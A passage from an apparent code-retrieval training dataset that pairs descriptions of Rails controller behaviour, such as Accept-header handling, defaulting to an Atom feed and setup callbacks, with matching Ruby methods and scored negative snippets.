"def activity_log\n authorize %i[stash_engine admin_datasets]\n @identifier = Identifier.find(params[:id])\n resource_ids = @identifier.resources.collect(&:id)\n ord = helpers.sortable_table_order(whitelist: %w[created_at])\n @curation_activities = CurationActivity.where(resource_id: resource_ids).order(ord, id: :asc)\n @internal_data = InternalDatum.where(identifier_id: @identifier.id)\n rescue ActiveRecord::RecordNotFound\n admin_path = stash_url_helpers.url_for(controller: 'stash_engine/admin_datasets', action: 'index', only_path: true)\n redirect_to admin_path, notice: \"Identifier ID #{params[:id]} no longer exists.\"\n end",
"def log_dispatch(method, args=[])\n\t\t\tmeth_str = self.class.to_s + \"#\" + method.to_s\n\t\t\tmeth_str += \" #{args.inspect}\" unless args.empty?\n\t\t\tlog \"Dispatching to: #{meth_str}\"\n\t\tend"
] |
[
"0.69043815",
"0.6187379",
"0.61687094",
"0.6154826",
"0.6057162",
"0.6057162",
"0.6009562",
"0.59668994",
"0.5951249",
"0.5904017",
"0.582372",
"0.58196425",
"0.5728946",
"0.5704486",
"0.5697666",
"0.5654343",
"0.56509435",
"0.5620393",
"0.56200576",
"0.55629987",
"0.5551833",
"0.55385107",
"0.5501734",
"0.5489594",
"0.54830325",
"0.544585",
"0.54432887",
"0.54321617",
"0.5379243",
"0.53647643",
"0.53647643",
"0.5354675",
"0.5346289",
"0.5338294",
"0.5336991",
"0.53369635",
"0.5327198",
"0.5306073",
"0.5296046",
"0.5294683",
"0.529378",
"0.5288287",
"0.5287775",
"0.5268079",
"0.5259328",
"0.523972",
"0.5231528",
"0.52304786",
"0.52260375",
"0.52233535",
"0.52223676",
"0.5222113",
"0.52211225",
"0.520124",
"0.51971275",
"0.51963204",
"0.51913524",
"0.517477",
"0.51601994",
"0.51558346",
"0.5153248",
"0.51532406",
"0.5147602",
"0.51440483",
"0.51425767",
"0.51395047",
"0.51395047",
"0.51395047",
"0.510787",
"0.51011276",
"0.5093425",
"0.5093348",
"0.5086245",
"0.50831014",
"0.50811756",
"0.50740504",
"0.5070074",
"0.5069475",
"0.5069093",
"0.5068211",
"0.50678366",
"0.50592804",
"0.505142",
"0.5048057",
"0.50440705",
"0.50419825",
"0.5031491",
"0.50225234",
"0.50088143",
"0.5008587",
"0.5008197",
"0.5007876",
"0.5004317",
"0.50039476",
"0.49990276",
"0.49966437",
"0.49966437",
"0.49935505",
"0.49931815",
"0.49921164"
] |
0.7261586
|
0
|
Check the accepts header and defaults the format to request an atom feed apply to a controller using a before filter
|
def default_format_to_atom
# Default the type we are sending out
if request.accept.nil?
request.format = :atom
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_accept_header!\n return if request.headers[\"Accept\"] == \"application/vnd.api+json\"\n\n error!(\"415 Unsupported Media Type\", 415)\n end",
"def accept_header(request)\n raise NotImplementedError\n end",
"def default_filters!\n before do\n request.path_info =~ /\\.([^\\.\\/]+)$/\n @_content_type = ($1 || :html).to_sym\n content_type(@_content_type, :charset => 'utf-8') rescue content_type('application/octet-stream')\n end\n end",
"def accept_header?\n return request.headers['Accept']&.include?('application/fhir+json') if params.permit(:_format)[:_format].nil?\n\n ['json', 'application/json', 'application/fhir+json'].include?(params.permit(:_format)[:_format]&.downcase)\n end",
"def accepts\n fetch_header(\"action_dispatch.request.accepts\") do |k|\n header = get_header(\"HTTP_ACCEPT\").to_s.strip\n\n v = if header.empty?\n [content_mime_type]\n else\n Mime::Type.parse(header)\n end\n set_header k, v\n rescue ::Mime::Type::InvalidMimeType => e\n raise InvalidType, e.message\n end\n end",
"def register_before_action(options, allowed_formats)\n before_action(options) do |_controller|\n # Can't use 'return' here or we'll get a local jump error.\n if request.format.symbol.present?\n head :not_acceptable unless allowed_formats.include?(request.format.symbol)\n end\n end\n end",
"def check_header\n if ['POST', 'PUT', 'PATCH'].include? request.method\n head :not_acceptable and return unless request.content_type == 'application/vnd.api+json'\n end\n end",
"def check_format\n # This allows us to support content negotiation\n if request.headers['HTTP_ACCEPT'].nil? || request.format == '*/*'\n request.format = 'xml'\n end\n\n request_format = request.format.symbol\n if request_format != :xml && request_format != :json\n # 406 is the default status code when the format is not support\n head :not_acceptable\n end\n end",
"def accept_helper\n content_type = MediaType.parse(request.content_type || 'application/octet-stream')\n acceptable = resource.content_types_accepted.find {|ct, _| content_type.match?(ct) }\n if acceptable\n resource.send(acceptable.last)\n else\n 415\n end\n end",
"def check_format\n redirect_to root_url unless params[:format] == 'json' || request.headers[\"Accept\"] =~ /json/\n end",
"def validate_content_type!\n head 406 unless request.headers['Accept'] === 'application/json'\n end",
"def check_json_api_headers\n unless request.headers[\"Content-Type\"] && request.headers[\"Content-Type\"].\n include?(\"application/vnd.api+json\")\n return render json: \"\", status: :unsupported_media_type\n end\n\n unless request.headers[\"Accept\"] &&\n request.headers[\"Accept\"].include?(\"application/vnd.api+json\")\n return render json: \"\", status: :not_acceptable\n end\n end",
"def post_header(request)\n if request.headers[\"content-type\"] == 'application/json' && request.headers[\"accept\"] == 'application/json'\n true\n else\n false\n end\n end",
"def enforce_accept(request, config)\n return unless request.accept_header?\n\n accept_types = ::Rack::Utils.q_values(request.accept).map(&:first)\n return if accept_types.any? { |mime_type| accepted_mime_type?(mime_type, config) }\n\n yield\n end",
"def check_header\n if ['POST','PUT','PATCH'].include? request.method\n if request.content_type != \"application/vnd.api+json\"\n head 406 and return\n end\n end\n end",
"def accept_header(request)\n request.env[HEADER_ACCEPT]\n end",
"def content_type_header(request)\n raise NotImplementedError\n end",
"def verify_requested_format!\n mimes = collect_mimes_from_class_level\n collector = ActionController::MimeResponds::Collector.new(mimes, request.variant)\n\n unless collector.negotiate_format(request)\n raise ActionController::UnknownFormat\n end\n end",
"def header_accepts_json\n { \"Accepts\" => \"application/json\" }\n end",
"def check_request_format\n unless request.content_type == 'application/json'\n error = ErrorSerializer.serialize({ format: \"Invalid request format. Only JSON requests are supported.\" })\n render json: error, status: :unsupported_media_type\n end\n end",
"def provides(*formats)\n generate_type_hash = Proc.new{ |header| \n type, *params = header.split(/;\\s*/)\n Hash[*params.map{|p| p.split(/\\s*=\\s*/)}.flatten].merge(\"type\" => type)\n }\n supported_formats = formats.map do |f| \n # selects the correct mime type if a symbol is given\n f.is_a?(Symbol) ? ::Rack::Mime::MIME_TYPES[\".#{f.to_s}\"] : f\n end.compact.map do |f|\n generate_type_hash.call(f)\n end\n # request.accept is an Array\n accepted_formats = request.accept.map do |f| \n generate_type_hash.call(f)\n end\n selected_format = nil\n accepted_formats.each{ |accepted_format| \n selected_format = supported_formats.detect{ |supported_format| \n Regexp.new(Regexp.escape(accepted_format[\"type\"]).gsub(\"\\\\*\", \".*?\"), Regexp::IGNORECASE) =~ supported_format[\"type\"] &&\n (accepted_format[\"level\"] || INFINITY).to_f >= (supported_format[\"level\"] || 0).to_f\n }\n break unless selected_format.nil?\n } \n if selected_format.nil?\n content_type :txt\n halt 406, supported_formats.map{|f| \n output = f[\"type\"]\n output.concat(\";level=#{f[\"level\"]}\") if f.has_key?(\"level\")\n output\n }.join(\",\")\n else\n response.headers['Content-Type'] = \"#{selected_format[\"type\"]}#{selected_format[\"level\"].nil? ? \"\" : \";level=#{selected_format[\"level\"]}\"}\"\n end\n end",
"def init_atom_feed\n @atom_feed = \"#{params[:controller]}/feed\"\n end",
"def format_to_use(request)\n unless header = accept_header(request)\n raise ArgumentError, \"An Accept header must be provided to pick the right format\"\n end\n\n format = nil\n header.split(/,\\s*/).each do |name|\n next unless format = Puppet::Network::FormatHandler.format(name)\n next unless format.suitable?\n return format\n end\n\n raise \"No specified acceptable formats (#{header}) are functional on this machine\"\n end",
"def matches?(request)\n @default || request.headers['Accept'].include?(\"application/vnd.medexprimereemr.v#{@version}\")\n end",
"def should_send_raw?\n request.headers[\"HTTP_ACCEPT\"].include?(\"*/*\") &&\n controller.params[:format].nil? &&\n resource.respond_to?(:content_type) &&\n resource.content_type != 'text/x-markdown'\n end",
"def default_format_json\n if(request.headers['HTTP_ACCEPT'].nil? && params[:format].nil?) ||\n (request.headers['HTTP_ACCEPT'] != 'application/xml' && params[:format] != 'xml')\n request.format = 'json'\n end\n end",
"def set_format\n request.format = :json if params[:api_token].present? && params[:format].blank?\n end",
"def parsed_content_type_header; end",
"def check_headers(headers)\n # check version from Accept headers; expect custom media type `spoonlibrary`\n accept = headers[:accept]\n accept&.include?(\"application/vnd.spoonlibrary.#{version}+json\")\n end",
"def matches?(req)\n @default || (req.try(:headers).try(:[],'Accept') &&\n req.headers['Accept'].include?(\"application/api.brightwheel.v#{@version}\"))\n end",
"def filters\n respond_to do |format|\n format.html{ redirect_to root_path }\n format.json{\n list = [\n {\n :display => 'This source does not define any filter',\n :value => 'invalid'\n }\n ]\n filters_module = (RUBY_VERSION < '1.9') ? 'Filters' : :Filters\n if (@source.constants.include?(filters_module))\n list.clear\n @source::Filters.constants.each do |filter_name|\n filter = \"#{@source.name}::Filters::#{filter_name}\".constantize \n list << { \n :display => \"#{filter_name}: #{filter::NAME}\", \n :value => filter_name \n }\n end\n end\n \n render :json => list\n }\n end\n end",
"def set_content_type\n case params['format']\n when 'xml'\n response.headers['Content-Type'] = \"application/xml; charset=utf-8\"\n when 'json', 'csv'\n response.headers['Content-Type'] = \"application/json; charset=utf-8\"\n else\n raise \"Unexpected format!\"\n end\n end",
"def matchers?(req)\n @default || req.headers['Accept'].include?(\"application/vnd.glass.v#{@version}\")\n end",
"def matches?(request)\n request.headers.fetch(:accept).include?(\"application/vnd.pieforproviders.v#{version}+json\")\n end",
"def scan_accept_header(accept)\n if match = accept.match(FORMAT)\n @version = match[:version]\n @content_type = [match[:mime_base], match[:mime_type]].join(\"/\")\n @media_type_options = match[:options].scan(/(\\.\\w+)/).map do |option|\n option.first.sub!(/^\\./, \"\")\n end\n end\n end",
"def ensure_json_request\n return if params[:format] == 'json' || request.headers['Accept'] =~ /json/\n head :not_acceptable\n end",
"def call(env)\n if scan_accept_header(env[\"HTTP_ACCEPT\"])\n env[\"app.api.version\"] = version\n env[\"app.api.media-type-options\"] = media_type_options\n env[\"HTTP_ACCEPT\"] = content_type\n end\n\n @app.call(env)\n end",
"def catch_bad_request_headers\n if request.headers[\"accept\"] == \"application/json\"\n render plain: \"Invalid request header: we do not provide a JSON version of our search results.\", status: 406\n end\n end",
"def match_accept(mimetype)\n if @env[\"HTTP_ACCEPT\"].to_s.split(',').any?{|s| s.strip == mimetype}\n response[\"Content-Type\"] = mimetype\n end\n end",
"def enforce_content_type(request, config)\n content_type = request.content_type\n\n return if content_type.nil?\n\n return if accepted_mime_type?(content_type, config)\n\n yield\n end",
"def content_type_header?\n request.headers['Content-Type']&.include?('application/fhir+json')\n end",
"def add_body_type_headers; end",
"def allow_only_standard_requests\n if params[:format] && ([\"html\", \"js\", \"json\", \"xml\", \"rss\"].exclude?(params[:format]))\n raise ActionController::RoutingError.new('No route matches \"'+request.url+'\"')\n end\n end",
"def accept(type)\n headers(HTTP::Headers::ACCEPT => HTTP::MimeType.normalize(type))\n end",
"def before_request\n end",
"def request_setup()\n Proc.new do |request|\n request.headers[:authorization] = basic_auth_header\n request.headers[:content_type] = 'application/json; charset=UTF-8'\n request.headers[:accept] = 'application/json; charset=UTF-8'\n end\n end",
"def no_accept_header(env)\n env[\"HTTP_ACCEPT\"] == nil || env[\"HTTP_ACCEPT\"] == \"\"\n end",
"def set_format\n request.format = 'json' unless params[:controller].include? 'admin'\n end",
"def default_accept_header\n RDF::Util::File::HttpAdapter.default_accept_header.sub(/, \\*\\/\\*;q=0\\.1\\Z/, '')\n end",
"def select_header_accept(accepts)\n return nil if accepts.nil? || accepts.empty?\n # use JSON when present, otherwise use all of the provided\n json_accept = accepts.find { |s| json_mime?(s) }\n json_accept || accepts.join(',')\n end",
"def select_header_accept(accepts)\n return nil if accepts.nil? || accepts.empty?\n # use JSON when present, otherwise use all of the provided\n json_accept = accepts.find { |s| json_mime?(s) }\n json_accept || accepts.join(',')\n end",
"def select_header_accept(accepts)\n return nil if accepts.nil? || accepts.empty?\n # use JSON when present, otherwise use all of the provided\n json_accept = accepts.find { |s| json_mime?(s) }\n json_accept || accepts.join(',')\n end",
"def select_header_accept(accepts)\n return nil if accepts.nil? || accepts.empty?\n # use JSON when present, otherwise use all of the provided\n json_accept = accepts.find { |s| json_mime?(s) }\n json_accept || accepts.join(',')\n end",
"def select_header_accept(accepts)\n return nil if accepts.nil? || accepts.empty?\n # use JSON when present, otherwise use all of the provided\n json_accept = accepts.find { |s| json_mime?(s) }\n json_accept || accepts.join(',')\n end",
"def validate_content_type!\n return if request.content_type == \"application/json\"\n return if request.get? && request.content_type == \"text/plain\"\n return if !request.get? && request.content_type == \"application/x-www-form-urlencoded\"\n\n raise ActionController::BadRequest, \"Invalid content type\"\n end",
"def default_header\n if @access_token.present?\n {\n \"Authorization\" => \"Bearer #{@access_token.token}\",\n \"Accept\" => \"application/json\",\n \"Content-Type\" => \"application/json\"\n }\n else\n {\n \"Accept\" => \"application/json\",\n \"Content-Type\" => \"application/json\"\n }\n end\n end",
"def import_opml\n respond_to do |wants|\n wants.xml do\n @feeds = []\n if params[:opml]\n @feeds = params[:opml].feeds.map do |f|\n feed = Feed.find_or_create_by_url(f.xmlUrl)\n feed.created_by = params[:created_by] if !params[:created_by].nil?\n feed.title = f.title if f.title and feed.title.nil?\n feed.save\n feed\n end\n else\n logger.debug(\"import_opml called without opml file\")\n end\n render :xml => @feeds.to_xml\n end\n end\n end",
"def authorize_request\n unless request.headers['Authorization'].present?\n render json: {message: 'Missing Token'}, status: :unauthorized\n end\n end",
"def accepts?(input)\n resp = feed(input)\n resp[:accept]\n end",
"def accepts?(input)\n resp = feed(input)\n resp[:accept]\n end",
"def process_action(*) #:nodoc:\n self.formats = request.formats.map(&:ref).compact\n super\n end",
"def process_action(*) #:nodoc:\n self.formats = request.formats.map(&:ref).compact\n super\n end",
"def accept()\n @accept ||= Accept.parse(@request.env['HTTP_ACCEPT'])\n end",
"def freeze_io!(**filter_opts)\n before_action :serializer_freeze_io_internal, **filter_opts\n\n output_error MediaTypes::Serialization::NoInputReceivedError do |p, _error|\n p.title 'Providing input is mandatory. Please set a Content-Type', lang: 'en'\n\n p.status_code :bad_request\n end\n end",
"def ensure_json_request\n return render_message({status:ERR_STATUS,responseMessage: NOT_ACCEPTABLE_MESSAGE, responseCode: NOT_ACCEPTABLE }) unless request.format == :json\n end",
"def translate_external_api_filter(controller, opts = {}, &block)\n request = controller.request\n json, _format = parse_request_body(request)\n json = internal_value(json)\n json.each { |k, v| request.parameters[k] = request.POST[k] = v } if json.is_a?(Hash)\n\n block.call\n\n obj = controller.response_body.first if controller.response_body.is_a?(Array)\n obj = (JSON.parse(obj) rescue nil) if obj.present?\n opts = opts.merge(generate_body_only: true)\n controller.response_body = [ModelApi::Renderer.render(controller, ext_value(obj), opts)]\n end",
"def defaultHeaders(token)\n { 'Accept' => '*/*',\n 'Content-Type' => 'application/json',\n 'Authorization' => 'Bearer ' + token }\nend",
"def content_type_header(request)\n request.content_type\n end",
"def set_media_type\n media_types = self.class.head(@endpoint).headers['accept']\n Occi::Log.debug(\"Available media types: #{media_types}\")\n @media_type = case media_types\n when /application\\/occi\\+json/\n 'application/occi+json'\n else\n 'text/plain'\n end\n end",
"def accept_json\n logger.debug(request.accept)\n unless request.accept? 'application/json'\n response.headers['Accept'] = 'application/json'\n halt_response(\"Accept header should contains 'application/json' type\", 406)\n end\n rescue NoMethodError => e\n #error in sinatra 1.4.4 (https://github.com/sinatra/sinatra/issues/844, https://github.com/sinatra/sinatra/pull/805)\n response.headers['Accept'] = 'application/json'\n halt_response(\"Accept header should contains 'application/json' type\", 406)\n end",
"def single_access_allowed_request_types(value = nil)\n config(:single_access_allowed_request_types, value, [\"application/rss+xml\", \"application/atom+xml\"])\n end",
"def catch_bad_format_param\n if ['json', 'rss'].include? params[:format]\n render plain: \"Invalid parameter: we do not provide search results in #{params[:format]} format.\", status: 406\n end\n end",
"def get_accept_header(media_type)\n media_types = { hale: 'application/vnd.hale+json' }\n { 'Accept' => media_types[media_type] }\n end",
"def feed\n expocodes = params[:expocodes].split(',')\n expocodes = [expocodes] unless expocodes.kind_of?(Array)\n\n @header = []\n @updates = []\n for expocode in expocodes\n @updates += Document.get_feed_documents_for(expocode)\n @updates += Event.get_feed_events_for(expocode)\n @header << \"(#{@updates.last.cruise.Line}) #{expocode}\"\n end\n\n @header = @header.join(',')\n\n @updates.sort do |a, b|\n a.feed_datetime() <=> b.feed_datetime()\n end\n\n respond_to do |format|\n format.atom\n end\n end",
"def parse_format request\n (request.query['format'] or \"xml\") #breaks without the extra parens\n end",
"def accepts(*types)\n mime_types = types.map{ |type| mime_type(CONTENT_TYPE_ALIASES[type] || type) }\n condition do\n halt 406 unless mime_types.include?(request.media_type)\n content_type(mime_symbol(request.media_type))\n end\n end",
"def api_request?\n request.format.json? || request.format.js? || request.format.xml? || request.format.fbtab?\n end",
"def validate_response_format\n accept = request.headers[\"Accept\"]\n return :json if accept.include?(\"json\") || accept.include?(\"*/*\")\n raise IssuesController::UnsupportedMediaTypeError, \"Invalid Response Format #{accept} requested\"\n end",
"def ensure_json_content_type\n request.headers['Content-Type'] =~ /application\\/json/\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @filter_param }\n end\n end",
"def select_header_accept(accepts)\n return nil if accepts.nil? || accepts.empty?\n # use JSON when present, otherwise use all of the provided\n json_accept = accepts.find { |s| json_mime?(s) }\n return json_accept || accepts.join(',')\n end",
"def accepts(content_type)\n @accepts = content_type\n self\n end",
"def show\n Rails.logger.debug {\"#{request.accept}\"}\n # byebug\n # no accept header\n if !request.accept || request.accept == \"*/*\"\n render plain: \"/api/races/#{params[:id]}\"\n elsif request.accept == \"application/xml\" || request.accept == \"application/json\"\n # find the Race in the db\n # Rails.logger.debug {\"request is #{request.accept}\"}\n race = Race.find(params[:id])\n respond_to do |format|\n # # DEBUG: Disallowed type attribute: \"yaml\"?\n # fixed: custom show builders\n format.xml { render :show, status: :ok, content_type: request.accept, locals: {race: race}}\n format.json { render :show, status: :ok, content_type: request.accept, locals: {race: race}}\n end\n else\n end\n end",
"def validate_content_type( valid )\n raise Atom::HTTPException, \"HTTP response contains no Content-Type!\" if not self.content_type or self.content_type.empty?\n\n media_type = self.content_type.split(\";\").first\n\n unless valid.member? media_type.downcase\n raise Atom::WrongMimetype, \"unexpected response Content-Type: #{media_type.inspect}. should be one of: #{valid.inspect}\"\n end\n end",
"def determine_request_type\n if request.request_method == 'GET'\n case params[:format] # explicit format parameter\n when 'html'\n return :html\n when 'json'\n return :json\n end\n end\n all_ok = request.accept.include?('*/*')\n json_ok = request.accept.find { |header| header =~ /json/ }\n html_ok = request.accept.find { |header| header =~ /html/ }\n\n if all_ok\n if request.xhr?\n :json\n else\n :html\n end\n elsif json_ok and not html_ok\n :json\n elsif html_ok and not json_ok\n :html\n else\n :html\n end\n end",
"def apply_content_type_header(options)\n if !options.has_key?(:headers) || !options[:headers].has_key?(\"Content-Type\")\n apply_header options, \"Content-Type\", \"application/json\"\n end\n end",
"def validate_content_type!\n if request.headers['Content-Type'] =~ /multipart\\/form-data/\n head 406 unless request.headers['Content-Length'].present? &&\n request.headers['Accept'] === 'application/json'\n else\n head 406 unless request.headers['Accept'] === 'application/json'\n end\n end",
"def options\n head :status => 200, :'Access-Control-Allow-Headers' => 'accept, content-type'\n end",
"def set_filter_to_newsfeed\n params[:filter] = 'newsfeed'\n @filter = 'newsfeed'\n end",
"def request_authorization!\n respond_to do |format|\n format.html do\n if request.xhr?\n request_authorization_for_xhr!\n elsif BookingSync::Engine.embedded\n request_authorization_for_embedded!\n else\n request_authorization_for_standalone!\n end\n end\n\n format.json do\n head :unauthorized\n end\n\n format.api_json do\n head :unauthorized\n end\n end\n end",
"def valid_request(h = {})\n h.merge!({:use_route => :sensit_api, :format => \"json\", :api_version => \"1\"})\n end",
"def content_type; end",
"def content_type; end",
"def content_type; end",
"def content_type; end",
"def content_type; end",
"def content_type; end",
"def content_type; end",
"def content_type; end"
] |
[
"0.63195884",
"0.6160523",
"0.60867524",
"0.6040874",
"0.591975",
"0.58592826",
"0.58361834",
"0.5788255",
"0.5686055",
"0.56823987",
"0.5674783",
"0.566768",
"0.5658958",
"0.5650856",
"0.56197417",
"0.56192154",
"0.5457011",
"0.5438114",
"0.54233116",
"0.54086673",
"0.54038996",
"0.5385795",
"0.53817296",
"0.53632486",
"0.53580695",
"0.5347232",
"0.5343549",
"0.53329164",
"0.531357",
"0.53111523",
"0.53069115",
"0.53059155",
"0.5300433",
"0.5283815",
"0.5256518",
"0.5255809",
"0.5216422",
"0.52064663",
"0.5173986",
"0.5173876",
"0.5170677",
"0.51644605",
"0.51499885",
"0.5142693",
"0.5123995",
"0.51171124",
"0.5114991",
"0.51146066",
"0.50898606",
"0.50851357",
"0.50851357",
"0.50851357",
"0.50851357",
"0.50851357",
"0.5076587",
"0.5071107",
"0.50665706",
"0.50656986",
"0.5064987",
"0.5064987",
"0.5064291",
"0.5064291",
"0.5062883",
"0.5061816",
"0.5054817",
"0.50529814",
"0.5048417",
"0.50482005",
"0.50453335",
"0.50446147",
"0.50428486",
"0.5025872",
"0.5020661",
"0.50183",
"0.5006075",
"0.49990988",
"0.4997382",
"0.49868867",
"0.4959535",
"0.49541807",
"0.49527657",
"0.49518865",
"0.4945099",
"0.49354577",
"0.49341336",
"0.49328998",
"0.49268058",
"0.49248338",
"0.49246642",
"0.49236482",
"0.4915988",
"0.49022856",
"0.49022856",
"0.49022856",
"0.49022856",
"0.49022856",
"0.49022856",
"0.49022856",
"0.49022856"
] |
0.5788159
|
9
|
Use callbacks to share common setup or constraints between actions.
|
def set_milestone
@milestone = Milestone.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
